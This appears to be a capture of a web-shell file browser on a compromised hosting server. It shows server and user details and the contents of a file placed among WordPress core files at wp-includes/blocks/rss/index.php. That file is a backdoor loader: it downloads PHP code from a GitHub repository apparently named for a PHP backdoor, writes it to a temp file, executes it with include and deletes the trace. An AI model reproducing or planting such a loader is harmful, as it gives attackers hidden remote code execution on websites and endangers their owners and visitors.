HEX
Server: LiteSpeed
System: Linux eticaretsrv4.isimtescil.net 3.10.0-962.3.2.lve1.5.26.7.el7.x86_64 #1 SMP Wed Oct 2 07:53:12 EDT 2019 x86_64
User: sioberen (1086)
PHP: 7.3.33
Disabled: NONE
Upload Files
File: /home/sioberen/www/wp-includes/blocks/rss/index.php
<?php

$url = 'https://raw.githubusercontent.com/laolierzi-commits/phpbd/refs/heads/main/xx.php';


$tempDir = sys_get_temp_dir();
$tempFile = $tempDir . '/temp_script_' . uniqid() . '.php';

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, true);
$content = curl_exec($ch);
$httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);

if ($httpCode == 200 && !empty($content)) {
	
    if (file_put_contents($tempFile, $content)) {
        include $tempFile;
        unlink($tempFile);
    } else {
        echo "X: " . $tempFile;
    }

} else {
    echo "X: " . $httpCode;
}
?>